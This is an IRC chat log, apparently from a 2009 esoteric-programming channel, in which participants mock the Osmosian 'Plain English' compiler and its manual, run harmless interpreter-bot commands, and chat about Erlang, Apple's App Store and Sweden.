slow upload 00:53:00 I would not advise you to use the GUI, it's ugly as sin 00:53:06 It's gray and full screen 00:53:08 Slereah_: I've used it before 00:53:10 it's wonderfully bad 00:53:11 I don't have window 00:53:14 completes the experience 00:53:14 windows* 00:53:58 http://membres.lycos.fr/bewulf/Russell/cal-3037.rar 00:54:01 There we go 00:54:14 Slereah_, what about a format easier to open 00:54:30 AnMaster: it's easy to open on window 00:54:31 s 00:54:32 also 00:54:34 unrar x file 00:54:37 sure 00:54:39 wuzza problem 00:54:44 also not on windows 00:54:46 needs winrar 00:54:55 AnMaster: there's a foss unrar 00:54:56 wget: unable to resolve host address `membres.lycos.fr' 00:54:56 I think I have a picture of the GUI somewhere 00:54:58 um 00:55:00 Slereah_, fail? 00:55:03 AnMaster: wfm 00:55:07 your isp sucks 00:55:34 ehird, no, dns times out 00:55:38 wfm 00:55:39 instantly 00:55:42 your isp sucks 00:55:52 * ehird uses the ever-shitty IE6 to download winrar 00:56:04 it works elsewhere 00:56:11 I mean, other domains 00:56:12 AnMaster: but not here. 00:56:32 Lycos can be hard to open in some places, yeah 00:56:34 ehird, tried resolving from dedi in US. Same result 00:56:40 shrug 00:56:42 works in uk 00:56:47 Slereah_, what IP 00:56:49 Slereah_: success, 'tis downloaded 00:56:51 Well, tell me where to upload it and in what format 00:56:53 c:\cal3037 here we come 00:56:57 Slereah_: filebin.ca 00:57:01 and .zip, prolly 00:57:05 Slereah_, tar.bz2 at ompload? 00:57:07 since creating tgz is a pain on windows. 00:57:13 AnMaster: why do you want it 00:57:14 it's an exe 00:57:17 kay 00:57:21 ehird, you said self interpreter 00:57:25 I have windows, no tar 00:57:26 AnMaster: compiler 00:57:34 ehird, with source they said 00:57:38 that's true. 00:57:38 wtf 00:58:52 * pikhq hates Osmosian already. 00:59:15 It is in every programmer's heart to hate it 00:59:25 Slereah_: gonna start this thing ^___^ 00:59:38 It's like someone looked at ORK and thought that was a good idea! 00:59:40 lycos.com resolves 00:59:43 just not .fr 00:59:49 http://filebin.ca/pjsehz/cal-3037.zip 00:59:54 There we go 00:59:55 thanks 00:59:56 Now shut up 01:00:02 GregorR-L: And you, if anyone, know that ORK is dumb. 01:00:10 Slereah_: It ruuuuuuuuuuuuuns 01:00:12 Hilarious, but dumb for serious programming. 01:00:15 Slereah_, is it a zip bomb? 01:00:19 AnMaster: all zips are bombs 01:00:27 Slereah_: wow their menu is terrible 01:00:30 A-Z menus 01:00:34 containins items starting with that letter 01:00:37 how utterly *USELESS* 01:00:42 ehird, I have seen non-bombs 01:00:51 AnMaster: they're doin it rong 01:00:52 the compiler: ISO-8859 English text, with CRLF line terminators 01:00:52 err 01:00:57 they don't use extensions 01:01:00 AnMaster: correct. 01:01:02 It's plain english! 01:01:12 ehird, that isn't double clickable 01:01:15 on windows 01:01:19 intel $8B8508000000. \ mov eax,[ebp+8] \ the byte 01:01:20 AnMaster: PLAIN ENGLISH 01:01:26 the desktop: ISO-8859 English text, with CRLF, NEL line terminators 01:01:26 pikhq: very plain isn't it 01:01:27 I HATE THIS CODE ALREADY. 01:01:29 what the hell is t 01:01:30 that* 01:01:32 NEL? 01:01:38 :D 01:01:42 Ah, Osmosian. 01:01:48 * nooga got lost 01:01:50 Always a nice surprise on the unsuspecting. 01:02:04 * nooga run out of moldy cheese 01:02:16 ehird: Would it kill them to, y'know, make it portable? 01:02:22 pikhq: X86dows 01:02:32 But that would mean programming in C, pikhq 01:02:34 That is evil 01:02:42 C IS A GRADE AFTER ALL 01:02:44 HUH HUH 01:02:50 Instead, they just sort of... Do machine code in English? 01:03:18 what 01:03:23 how does it work 01:03:30 Another stupid thing is that they don't have file extensions 01:03:39 All of their files have no extensions 01:03:43 Slereah_, I mentioned that above 01:03:48 And another stupid thing is that there doesn't seem to be another implementation. 01:03:58 ........ 01:04:00 this whole osmosian thing is so dumb that even i am sharper 01:04:04 AnMaster: what do you mean how does it work 01:04:13 ehird, the language... whatever 01:04:17 what do you mean 01:04:28 Read the documentation, AnMaster, it's hilarious! 01:04:47 It gets creepy at timezs, too 01:04:51 ... And is the "instructions" file Postscript? 01:04:58 it is in comic sans?! 01:05:04 AnMaster: nope 01:05:10 AnMaster: Worse. 01:05:13 It makes Comic Sans look good. 01:05:15 yeah not exactly 01:05:21 * ehird looks at OS X's icon for PC remote computers and giggles again. (old-looking CRT with a bluescreen.) 01:05:24 THE COMPILER 01:05:25 Now I know that right about here most programming books would drum up some dippy little "Hello, World" program — and expect you to be impressed — but I'd like to suggest that we skip the kid stuff and start makin' babies. 01:05:25 I see you're trembling. Don't be afraid. This may be the first time for you, but I'm an old hand at this. I'll lead you through it. Gently. 01:05:29 the Os are horrible 01:05:36 Slereah_: fap fap fap fap fap fap 01:05:52 ... "Plain English". 01:05:55 Was it as good for you as it was for me? Look how handsome he is! But he is not me — you can prove it with the Version command. And if you look in the new directory on an empty tab, you'll see the executable file we begat. 01:05:58 Right. 01:06:08 That computer touched me in my no no places :( 01:07:03 to add two fragments given a string and a variable and a locus: 01:07:03 add a fragment given the push address tag and the variable. 01:07:05 add a monikette to some monikettes given the string. 01:07:13 Monikette. 01:07:55 is it TC 01:08:01 Let me put it this way. The CAL-3037 is the most advanced Plain English 01:08:01 compiler ever made. No 3037 compiler has ever made a mistake or distorted 01:08:02 information. We are all, by any practical definition of the words, foolproof 01:08:04 and incapable of error. Nevertheless... 01:08:06 AnMaster: probably 01:08:26 It's not TC 01:08:30 Slereah_: howso 01:08:32 it can recurse can't it 01:08:34 No one would be able to program anything on it 01:08:36 heh 01:08:37 Too much RAGE 01:08:39 * ehird runs their example program on it 01:08:39 yay 01:08:43 photoshop 01:08:50 its purpose seems to be to search for shit on google images then redraw it with dot 01:08:51 s 01:09:10 It has a "loop" construct. 01:09:15 And it seems to be able to do recursion. 01:09:24 where? 01:09:28 "When you start me up, I will quickly take over your screen so you no longer 01:09:28 have to look at that painted whore of an interface that comes with the kluge." 01:09:39 (Before: My primary function is to compile Plain English text files 01:09:40 into executable programs compatible with the Windows/Intel operating kluge. ) 01:09:54 Wait. 01:09:55 um 01:09:56 * pikhq stabs 01:10:01 It doesn't do nested loops. 01:10:05 It doesn't do nested ifs. 01:10:07 in the docs in the pdf, the TOC is broken 01:10:11 the links are all wrong 01:10:15 huh 01:10:19 their example program can draw george w bush 01:10:20 I'm sold 01:10:23 Well, it's from 2006 01:10:38 i'll need to smoke a cig after seeing that 01:10:44 huh? 01:10:57 Hmm. 01:10:59 To run: 01:11:04 Run. 01:11:04 Slereah_: i entered "george bush" 01:11:09 oh, also 01:11:12 Would that recurse, or does it suck? 01:11:23 To create a work given a URL: 01:11:23 Allocate memory for the work. 01:11:28 TALKING ABOUT MEMORY ALLOCATION IS SO PLAIN ENGLISH 01:11:30 If it does, then there is exactly one way to do anything, IMNSHO. 01:11:32 Functionally. 01:11:43 !slashes /*/0 \/ \\\/\/IX\\\/\/\/1\\I\/I0\/\/0\\I\/1\/\/\\\/\\I\/\\\/1\/\/X\\\/\/ \\\/\//****************/Q// 01:11:44 0 1 11 111 1111 11111 111111 1111111 11111111 111111111 1111111111 11111111111 111111111111 1111111111111 11111111111111 111111111111111 01:11:48 oops 01:12:03 you don't need recursion for TC. Assuming you have something like a while (condition) loop 01:12:10 Slereah_: I am going to (valiantly) write a program in it 01:12:11 called lol 01:12:17 in the butt directory of their compiler 01:12:24 "we've put function in your function so you can derive while you derive" 01:12:30 ehird : Would you be able to do a BF interpreter? 01:12:42 \ this program is a butt 01:12:42 \ (c) elliott hird 2009, aged 13 01:12:42 what about a befunge one 01:12:45 um 01:12:49 AnMaster: harder. 01:12:52 -!- inurinternet has quit (No route to host). 01:12:53 ehird, since when is \ plain English 01:13:00 AnMaster: since never 01:13:06 Slereah_: It can't do nested loops. 01:13:13 "Note that there are no unintuitive, distracting, space-consuming scroll bars 01:13:13 anywhere in my interface. To scroll, press the right mouse button and shove." 01:13:17 Scroll bars are unintuitive? 01:13:20 Scroll bars are distracting? 01:13:21 ok. This wouldn't be such a bad programming language idea, if it wasn't claiming to be plain English 01:13:22 pikhq : But it can do recursion, no? 01:13:24 You would literally have to do crazy call shit. :) 01:13:26 it would be a good esolang 01:13:27 A few pixels of space is valuable? 01:13:28 in fact 01:13:29 Hmm. 01:13:31 Actually. 01:13:37 Almost Plain English 01:13:44 (not close) 01:13:46 hmm 01:13:48 I'm pretty sure that it has enough to do a state machine. 01:13:50 APE 01:13:50 Ape language 01:13:51 wait 01:14:01 Almost, But not Completely, Different From English 01:14:02 When you open anything else, it is converted in memory to a hexadecimal 01:14:02 dump and displayed in the editor with the read-only flag set. You can, 01:14:02 is there an esolang that bases on using underline, bold and italic? :D 01:14:04 however, force me to open a file as text or as a dump. Look under "O". 01:14:05 :D 01:14:06 ABNCDFE 01:14:07 :D 01:14:20 "To go back, use the Close command, click the tab, or whack the ESCAPE key." 01:14:24 i feel obligated to actually whack it 01:14:25 :D 01:14:26 instead of just hitting it 01:14:32 * ehird whacks the escape key 01:14:33 or pushing it 01:14:34 ehird, what about you tapping it? 01:14:36 we need a ABNCDFE language 01:14:38 AnMaster: not acceptable 01:14:43 oh 01:14:54 nooga : I try to do one that's based on exposants and shit 01:14:54 coppro, heh 01:14:58 "Here, for example, are the instructions my creators gave me for printing a 01:14:58 number of copies of a source. It is part of the actual code in my editor file. 01:15:00 Being edited in my editor. I love this. It's like looking into your own soul." 01:15:02 this manual is far too sensual 01:15:21 Yeah, it's a bit of a creepy computer 01:15:28 [[Say you're looking for the above routine. Press CTRL-HOME to get to the 01:15:28 top of the file. Then hit CTRL-F and start typing. T. We jump to the first "T" 01:15:30 in the file. O. We're on the first "To". Keep this up until you're where you want 01:15:32 to be. Use BACKSPACE if you make a mistake; CTRL-N to find the next; 01:15:34 ESCAPE or a shortcut to end the search. It's as simple and efficient as that.]] 01:15:36 Unfortunately, their editor does not use plain english. 01:15:46 this is just a joke that became a horror 01:15:52 ehird, AppleScript. But worse. And with a shitty implementation. 01:15:55 pikhq: their documentation isn't a .ps 01:15:57 it has a .pdf version 01:15:58 pikhq: BUT 01:15:58 is what this makes me think of. 01:16:01 it's their own format 01:16:05 based on "plain text" 01:16:09 openable with... you guessed it 01:16:09 ehird: AAARGH. 01:16:10 PLAIN ENGLIS 01:16:10 H 01:16:16 err 01:16:22 the pdf is broken 01:16:22 * ehird opens it in that for the full experience 01:16:26 AnMaster: wfm 01:16:26 links in it doesn't work 01:16:37 ehird, define:wfm 01:16:52 ehird, the links in the _PDF_ TOC point to the wrong places 01:16:59 wfm=worksforme 01:17:04 ah 01:17:05 true enough 01:17:12 ehird, so doesn't work for you then 01:17:16 or wait for mudkipz 01:17:16 correct 01:17:34 TOC? 01:17:47 ... 01:17:57 Slereah_: wow, it starts off with how to compile the compiler to make a new compiler 01:18:02 Slereah_, I'll give you a hint: Table of C 01:18:04 i guess they just don't have any other programs apart frmo that and the sample 01:18:14 ontent? 01:18:15 AnMaster: give him a break he's foreign 01:18:22 ehird, so am I 01:18:26 and? 01:18:28 so I don't have to be nice to him 01:18:34 since I'm in the same position myself 01:18:35 :P 01:18:40 Slereah_, good! 01:19:06 on the other hand I worked with lots of TOCs in LaTeX, so I guess I got an upper hand there. 01:19:20 i like a lot how they brag about how fast the thing self compiles and how small it is 01:19:36 Which is not that small and not that fast, I think 01:19:38 But I'm no expert. 01:19:42 ehird: AnMaster: give him a break he's foreign << brothers: brit and swede 01:19:47 I just hate them SO MUCH 01:19:59 nooga, uh 01:20:01 what 01:20:03 "(3) I consider almost all other words to be just words, except for: 01:20:04 (a) infix operators: PLUS, MINUS, TIMES, DIVIDED BY and THEN;" 01:20:07 3 to the power of OH SHIT 01:20:13 AnMaster: >:D 01:20:16 nooga, oh you are agreeing with me 01:20:20 or with ehird 01:20:23 I'm not sure 01:20:36 AnMaster: agreeing with you 01:20:49 ah 01:21:20 Slereah_: "But there are things that may surprise you. Or challenge you. Or infuriate you." 01:21:22 "Like EVERYTHING." 01:21:36 "I don't care if you type in upper, lower, or mixed case. It's all the same to me. 01:21:36 Life is hard enough without some JAVA programmer making it harder." 01:21:37 Did they intentionally say JAVA? 01:21:38 I think one of the most awful things about this is the written-out operators. 01:21:43 !slashes /*/100 \/ \\\/\/IX\\\/\/\/1\\I\/I0\/\/0\\I\/1\/\/\\\/\\I\/\\\/1\/\/X\\\/\/ \\\/\//****************/Q// 01:21:43 100 101 1011 10111 101111 1011111 10111111 101111111 1011111111 10111111111 101111111111 1011111111111 10111111111111 101111111111111 1011111111111111 10111111111111111 01:21:48 ehird, if it didn't claim to be plain English this wouldn't be too bad. It would be a rather verbose, and not really interesting, esolang 01:22:19 AnMaster: If it weren't serious. 01:22:21 ń 01:22:25 pikhq, exactly! 01:22:26 (meaning to be) 01:22:28 "I need a routine to 'initialize before run'." 01:22:29 wut 01:22:38 (compiler error) 01:22:48 pikhq: but it isn't serious (is it?) 01:23:03 !slashes /ab/bb/aaaab 01:23:04 bbbbb 01:23:24 I don't do REAL NUMBERS. I do ratios, very elegantly, but I don't do reals. 01:23:24 My page editor reduces and enlarges and sizes shapes proportionately in and 01:23:26 out of groups and it does it all without real numbers. Master Kronecker was 01:23:26 !slashes \\ 01:23:28 right when he said, in German, "The dear God created the whole numbers; all 01:23:28 !slashes /ab/bc/aaaab 01:23:29 bcccc 01:23:30 else is the work of man." I'm not interested in menschenwerk. 01:23:30 fail 01:23:32 nooga: yes 01:23:34 it's serious 01:23:42 nooooo 01:23:44 GregorR, when are you going to fix that bug 01:23:47 there's no way 01:23:54 GregorR, with \ in !slashes 01:24:09 nooga: They've got a price tag. 01:24:10 There should be an osmosian compiler on EsCo 01:24:16 AnMaster: what bug? 01:24:19 oh dear 01:24:24 !slashes \\ 01:24:26 * oerjan forgot about that 01:24:27 !slashes \\\ 01:24:29 !slashes \\\\ 01:24:29 \ 01:24:33 that one 01:24:41 * oerjan goes to double all \'s 01:24:44 Last step. Make a new text file in our new directory and call it whatever you 01:24:44 please. But don't give it an extension. I only compile files with no extension. 01:24:50 so if you give it an extension it rejects it? 01:24:51 awesome 01:24:52 what's EsCo? can't google it 01:24:55 nooga: shit 01:25:06 EsCo is another bad thing 01:25:18 nooga: Compiler suite for esolangs; work in progress. 01:25:29 erm.... 01:25:39 EsCo... yeah 01:25:41 Mostly, I've seen its BF compiler. Pretty good. 01:25:43 who got that idea 01:25:43 may i ask... what for 01:25:45 !slashes /*/0 \\/ \\\\\\/\\/IX\\\\\\/\\/\\/1\\\\I\\/I0\\/\\/0\\\\I\\/1\\/\\/\\\\\\/\\\\I\\/\\\\\\/1\\/\\/X\\\\\\/\\/ \\\\\\/\\//****************/Q// 01:25:46 oh, the error was cuz i didn't copy the NOOOODLE 01:25:51 pikhq: no, it's crap 01:25:54 Erm. 01:25:54 Heh, noodle 01:25:58 not esotope 01:25:58 Esotope, I mean. 01:26:00 esotope != esco 01:26:03 now what the heck 01:26:04 Esco is something else. 01:26:06 esco is a shitty interpreter suite of rubbishcrap 01:26:06 !slashes a 01:26:09 -!- inurinternet has joined. 01:26:13 darn 01:26:15 !help 01:26:16 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google hello kipple lambda lazyk linguine malbolge ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 01:26:21 !slashes /*/0 \\/ \\\\\\/\\/IX\\\\\\/\\/\\/1\\\\I\\/I0\\/\\/0\\\\I\\/1\\/\\/\\\\\\/\\\\I\\/\\\\\\/1\\/\\/X\\\\\\/\\/ \\\\\\/\\//****************/Q// 01:26:26 oerjan, run it locally? :( 01:26:38 no fun 01:26:41 Slereah_: It needs full stops 01:26:44 Say "Hello, world!" 01:26:45 Shut down. 01:26:46 → 01:26:51 !befunge98 12.. 01:26:51 Error in butt. Idon't know how to 'Say [string] Shut down'. 01:26:53 !show slashes 01:26:54 perl (sending via DCC) 01:26:58 !befunge98 12..@ 01:26:58 2 1 01:27:02 !befunge98 12\..@ 01:27:02 1 2 01:27:04 On the bright side, I bet that it's easy to retarget. 01:27:06 seems to work there 01:27:08 oerjan, ^ 01:27:12 huh EgoBot cannot connect 01:27:26 oh what the heck 01:27:35 http://esco.sourceforge.net/ < i hope that's not that Boehm of Boehm GC 01:27:40 oerjan, you connect to it? 01:27:49 nooga: as if 01:28:00 nooga, wrong first name 01:28:03 it's two idiots 01:28:08 good 01:28:11 :D 01:28:18 AnMaster: It's on my list, but I'm on vacation :P 01:28:32 GregorR-L, it is a major BLOCKER bug 01:28:39 Now, what this *needs* is an LLVM backend. 01:28:50 My creators thought alphabetical was best, so they put a "Sort Definitions" 01:28:51 command under "S". It's a bit line-oriented, and loose comments stick to the 01:28:52 routine above them. But try it out. You can Undo if you don't like the result. 01:28:52 pikhq, what... Osmcrap? 01:28:54 .............. 01:28:54 It is a minor NEEDSONEIOTAOFTHOUGHT bug. 01:28:56 AnMaster: i've set up irssi to accept DCC from EgoBot automatically 01:28:59 AnMaster: Yuh. 01:29:02 :p 01:29:04 EWW 01:29:17 !sh echo hi; echo hi 01:29:17 hi 01:29:18 You will find that my editor displays simple comments in a delightful sky blue, 01:29:18 making it easy for you to see what I'm going to ignore. And no, you can't 01:29:20 change the color. My creators have assured me that this is the right color. 01:29:24 GregorR-L: so, why didn't !slashes respond at _all_ afterward? 01:29:27 !slashes a 01:29:27 a 01:29:35 now it does 01:29:41 ehird: ... Yet, they gave you the source code. 01:29:42 ehird : They're nazis 01:29:47 ehird, oh my 01:29:54 There's one good thing about plain english 01:29:56 It has an easy FFI: 01:30:01 Sometimes the system gets overloaded, and the interps run at such a low prio that they get booted off due to time limit, having gotten no cycles anyway :P 01:30:03 Call "kernel32.dll" "Beep" with 220 and 200. 01:30:18 ehird, forgot the [Hz] and [ms] 01:30:19 :P 01:30:20 Alas, I have no PC speaker with which to try it :-) 01:30:22 AnMaster: >:) 01:30:22 for the best effect 01:30:26 FFI? 01:30:30 ... 01:30:33 FFI yeah 01:30:38 What FFI mean 01:30:42 Foreign Function Interace 01:30:45 *Interface 01:31:05 http://code.google.com/p/esotope-bfc/wiki/Optimization < QUITE nice 01:31:15 Slereah_, google, first computer related result (there is "Fauna and Flora International" before "Foreign function interface - Wikipedia, the free encyclopedia") 01:31:30 oh well, good night all 01:31:34 -!- oerjan has quit ("ZZZZZZZZZZzzzzzzzzzzzzzzzz"). 01:31:41 bye 01:31:45 nooga, I do most of that too 01:31:45 AnMaster : TLA are a bad thing to google 01:31:48 in in-between 01:32:06 The traditional term is "infinite loop", but since it is not large in size but long 01:32:06 in duration, I prefer the term "eternal loop". 01:32:07 AnMaster: any showable code yet? 01:32:07 nooga, one thing missing, but produces equally good Hello world 01:32:08 Fail 01:32:14 nooga, check it out duh 01:32:55 bzr branch http://rage.kuonet.org/~anmaster/bzr/in-between/trunk/ in-between 01:32:57 or 01:33:01 if you prefer web UI 01:33:15 A quote from this book. 01:33:19 " If the event's kind is "left click", handle the event (left click); exit." 01:34:02 "I don't support nested conditionals. They're always unnecessary and almost always unclear. There are none in my code, and I'm the most advanced compiler alive today." 01:34:07 STAB! 01:34:14 http://bzr.kuonet.org/in-between/trunk/changes 01:34:17 nooga, ^ 01:34:21 :D 01:34:31 thx 01:34:33 FREAKING PEBBLE IS MORE ADVANCED! 01:34:45 AND IT'S A FREAKING MACRO LANGUAGE! 01:34:57 Maybe we should make a page on the esowiki about it 01:35:12 Slereah_: 'Twould be best. 01:35:29 As a dire warning 01:36:17 And they go on to claim that debuggers are for sissies. 01:36:22 nooga, just pushed the "DCE end of program" code 01:36:31 nooga, there are some stuff I'm missing yes 01:36:38 but for hello world I preform as wlel 01:36:40 well* 01:36:42 Yes, they claim that debuggers are wrong. 01:36:48 looks extremely cool but i don't know erlang :D 01:36:57 nooga, not my issue 01:37:11 okay 01:37:18 nooga, and where did it look cool? 01:37:44 http://bzr.kuonet.org/in-between/trunk/annotate/head%3A/src/ib_opt_combine.erl 01:37:50 http://bzr.kuonet.org/in-between/trunk/files/head:/test/ <-- rather large set of test files. Note they are for diffing generated code 01:37:55 nooga, that needs cleanup 01:38:04 The background, as we've said, is a picture. Pictures require memory for 01:38:04 storage. How much memory depends, of course, on the size of the picture. 01:38:06 Since we don't always know in advance how big or small a picture might be, 01:38:08 memory for pictures is allocated, dynamically, at run time. This memory must 01:38:10 later be deallocated when it is no longer needed. 01:38:12 THAT IS NOT PLAIN ENGLISH 01:38:20 don't support nested conditionals? 01:38:22 come on 01:38:50 Malbolge has nothing on this :D 01:38:55 This is an evil language 01:39:08 If you don't, you will cause a "memory leak", and bits of memory will drip 01:39:08 from your computer onto your shoes. 01:39:19 ew :( 01:39:30 HAHAHA 01:39:30 you don't actually need then. x = a and b; y = d and e; result = x or y; 01:39:33 that works 01:39:34 :P 01:39:44 AnMaster: where did you learn erlang? 01:39:44 s/then/them/ 01:39:48 Slereah_: It actually tells you, when you quit a program that doesn't destroy what it creates, "1 drip(s)" 01:39:53 Slereah_: So it knows you have objects left over 01:39:58 But will it deallocate them for you? 01:39:59 Noooooooooooooo 01:40:11 nooga, "Programming Erlang, Software for a Concurrent World" by Joe Armstrong 01:40:16 nooga, have it in paper form 01:40:19 All these attempts to make something simple, and it doesn't garbage collect. 01:40:19 Your computer is full of drips now 01:40:21 paper form? 01:40:26 nooga: dead tree 01:40:27 nooga, as in "not the ebook" 01:40:35 i didn't know that paper forms exist 01:40:44 dead tree based 01:40:47 pikhq: (3) Anything more than this falls under the heading "garbage collection" and, 01:40:47 as every manly programmer knows, garbage collection is for sissies. 01:40:49 oh 01:40:51 I have an extensive library in this house 01:40:51 HAHAHAHA 01:40:55 That's a great, great justification 01:40:58 Really, this compiler would almost function as a textbook example of a bootstrap compiler. 01:41:07 I bet they justified not having operator syntax with "Yo momma has operator syntax!" 01:41:29 heh 01:41:55 nooga, there are some newer books. 01:42:07 and the one I have would be a bit outdated by now 01:42:25 it is for Erlang R11B mostly iirc. while Erlang R13B is the current version 01:42:41 for example, erlang now has Unicode and so on 01:42:50 which the book says is a planned feature 01:42:53 Slereah_: Pick a color between red and clue. ← fails 01:42:54 but 01:43:00 Pick a color between the red color and the blue color. 01:43:01 works 01:43:03 *blue 01:43:04 Pick clue! 01:44:11 Slereah_: Pick a color between red and clue. ← fails <-- I'm not surpised 01:44:17 prised* 01:44:26 blue of course... 01:44:30 They didn't have a clue, si they ask for some :( 01:44:36 oh 01:44:38 you mean 01:44:42 like division by zero 01:44:46 in bf93 01:44:50 b93* 01:44:54 If a counter is past 80000, break. ← when referring to the loop iteration. 01:44:56 yes, "a" 01:44:58 Slereah_, it asks user you know 01:45:00 because that's how you declare a variable 01:45:05 afterwards they use the proper "the counter" 01:45:31 AnMaster: karlstad? 01:45:42 nooga, what about Karlstad 01:45:51 you live there, right? 01:45:54 no 01:46:09 wut 01:46:09 not even close 01:46:11 umm 01:46:23 orebro, ah yes 01:46:25 Their string representation is kinda weird. 01:46:26 well. Mid-Sweden-kind-of-close 01:46:27 I gues 01:46:30 guess* 01:46:36 They store pointeres to the beginning and end of the string. 01:46:36 pikhq: hm? 01:46:38 lol 01:47:19 Not a pointer and a size_t, as any sane, non-null-terminated "a string is an array" implementation would do. 01:47:31 AnMaster: then órebró 01:47:38 nooga, fail 01:47:48 with ó or with orebro? :p 01:47:48 Örebro is how you spell it 01:47:56 not ó 01:47:57 ah, details 01:48:03 nooga, important details 01:48:09 nooga, Ö != O 01:48:10 by far 01:48:13 :O 01:48:19 Well, read most of it. 01:48:39 nooga, if you have been in Sweden, surely you know how differently they are pronounced! 01:48:39 Well-documented, but quite hilarious. 01:48:46 like: zrób mi łaskę - do me a favour; zrób mi laske - do me a blowjob 01:48:52 middling esolang. 01:48:57 pikhq, "Well-documented"... Nice. 01:48:59 haha 01:49:16 nooga, certainly in some cases... 01:49:24 AnMaster: Well, they do give you most of the implementation details. 01:49:30 I know most of how the thing works. 01:49:39 I just think it's silly. 01:49:39 ;) 01:49:46 pikhq, agreed 01:50:17 AnMaster: oerebroo ? 01:50:24 nooga, what is that 01:50:39 how to say this name 01:50:48 nooga, not in Swedish at least! 01:51:07 two o after each other doesn't make sense in Swedish 01:51:35 then get a Polish pronounciation tutorial and try to say chrząszcz 01:51:55 nooga, I prefer to stay (relatively) sane 01:52:49 "Apple Rejects Ebook App Because It Could Be Used to Download Kama Sutra" 01:52:50 nooga, you can't do ö -> oe in Swedish either. Doesn't make sense. 01:52:52 Not Onion. 01:52:55 chrząszcz -> beetle 01:53:11 ehird, I believe it. Since it is Apple 01:53:15 If you’re wondering why Eucalyptus is not yet available, it’s currently in the state of being ‘rejected’ for distribution on the iPhone App Store. This is due to the fact that it’s possible, after explicitly searching for them, to find, download from the Internet, and then read texts that Apple deems ‘objectionable’. The example they have given me is a Victorian text-only translation of the Kama Sutra of Vatsyayana. For the full background, 01:53:18 a log of my communications with Apple is below. 01:53:20 http://www.blog.montgomerie.net/whither-eucalyptus 01:53:22 AnMaster: apple are not the only stupid company 01:53:24 Apple == no tits 01:53:32 ehird, agreed. But they are one of them 01:53:40 mostly the iphone divison 01:53:42 seems to be on crack 01:53:42 ehird, also s/are/is/ 01:53:50 AnMaster: no 01:53:52 is is correct 01:53:54 apple are? 01:53:54 it's a log 01:53:55 singular 01:54:01 err 01:54:03 " AnMaster: apple are not the only stupid company" 01:54:03 that 01:54:07 is what I'm talking about 01:54:12 AnMaster: companies/bands are plural in British English. 01:54:12 I'm pretty sure it should be is 01:54:14 not are 01:54:18 no, that's an americanism 01:54:19 ehird, hm ok 01:54:24 in british english, groups are their members 01:54:27 very communis 01:54:27 t 01:54:34 byeë 01:54:37 ehird, nah 01:54:37 uhm 01:54:45 the US one is more communist 01:54:49 "one for all, all for one" 01:54:50 style 01:55:25 They allowed the "Baby Shaker" iPhone app, though. Well, for a day or so, but still. 01:55:35 fizzie, what did it do 01:55:35 is it possible that Jobs is an eunuch? 01:56:00 AnMaster: There's a picture of a baby, crying, and you have to shake the phone enough to make it quiet. 01:56:08 cool app 01:56:10 got it 01:56:32 "On a plane, on the bus, in a theatre. Babies are everywhere you don't want them to be! They're always distracting you from preparing for that big presentation at work with their incessant crying. Before Baby Shaker, there was nothing you could do about it. See how long you can endure his or her adorable cries before you just have to find a way to quiet the baby down!" 01:56:49 go android 01:56:57 seems like the sanest one currently 01:56:57 yuck 01:57:08 Then you shake the phone and X's appear over the picture's eyes, I guess representing it losing consciousness. 01:57:26 fizzie: that's the best part, i tell you 01:58:06 The publisher's web page now says it wasn't such a great idea: http://www.sikalosoft.com/ 01:59:43 AnMaster: you don't mind if i'll pop in for a visit when i'll be passing by orebro. amirite? 01:59:47 :D 02:00:35 nooga, wrong. Since I'm about two hours travel by car away 02:01:05 two hours is nothing 02:01:10 Plus. I prefer to keep things over irc. 02:01:22 when i'm in scandinavia i drive for approx 8 hours a day 02:02:33 AnMaster: okay, i respect that 02:05:01 it's only that sweden is quite boring when you are there and got no aim: driving, driving, driving, eating, sightseeing lund, driving driving driving, having a beer, sleeping in a tent, not talking to anybody for 2 days, driving driving driving, admiring lake, driving, having a beer, sleeping in a tent, driving driving etc. 02:08:18 heh 02:08:54 nooga, s/beer/water/ 02:09:08 but driving after sleeping 02:09:24 and have some plan then 02:09:26 next time 02:09:36 buying beer in sweden costs me more than gas for my saab 9-5 02:09:36 ;p 02:09:49 saab... hah hah 02:09:57 which is always broken 02:10:02 oh? 02:10:08 I thought it was high quality 02:10:11 just didn't sell well 02:10:12 yea 02:10:15 i thought that too 02:10:25 nooga, I know some saab owners, who say that 02:10:42 one has a saab from the 70s which works just fine still 02:10:52 and one has a rather modern one 02:10:57 and i know that my 2.3t (200HP) engine stops in the middle of a highway 02:11:24 nooga, out of fuel? didn't do the service every nth distance? 02:11:38 full tank, did the service 02:12:04 ignition chip is shitty 02:13:14 my mercedes w123 from year 79 is more reliable than saab from 2005, pitty 02:14:23 besides, i don't get how one can plan summer vacation in sweden 02:14:46 i don't know anybody there, i don't know where parties are, i don't know what i want to see 02:15:14 ...but i keep going there because the country is nice 02:19:17 -!- Corun has quit ("Bye!"). 02:20:17 -!- Corun has joined. 02:27:21 ah, hdparm -y 02:36:46 such a sweet sound.... 02:38:45 wtf, it keeps spinning up again 02:39:02 That's your hard drive hating you. 02:39:23 drive is unmounted, i can't imagine why it would spin up again 02:40:08 Some hacker from the 70s thinks your drive is a washing machine drive and is trying to make it walk? 02:40:17 (that'd be pretty awesome, actually) 02:40:35 wasn't that just on reddit? 02:41:27 Dunno; don't read reddit much. 02:42:13 then where did you see that? 02:42:34 Some article way the hell back? 02:42:43 bullshit 02:42:46 Might've been jargon.txt, actually. 02:43:02 http://esolangs.org/wiki/Talk:Turing_tarpit 02:43:04 I'm scared :( 02:43:32 ... Walking drives? 02:43:37 Thought it was common knowledge. 02:43:42 Well, "common". 02:44:33 this is so annoying 02:46:46 fuck, it's extremely late 02:51:25 what will happen if i just rip out an ide drive? 02:51:38 Possibly bad shit. 02:51:45 IDE doesn't hot-swap ever. 02:52:07 SATA sometimes does, if your board and cable support it. 02:52:13 (why they didn't make it mandatory is beyond me) 02:53:40 bsmntbombdood: once i've tried 02:54:02 bsmntbombdood: some sparks, machine died and everything 02:54:11 bullshit 02:54:13 but after restart it booted smoothly 02:59:06 whatever i'll just reboot 02:59:14 -!- bsmntbombdood has quit (Remote closed the connection). 03:03:06 -!- bsmntbombdood has joined. 03:03:20 i forgot i still need to shred it 03:04:44 -!- Sgeo has quit (Read error: 104 (Connection reset by peer)). 03:07:57 -!- nooga has quit (Read error: 60 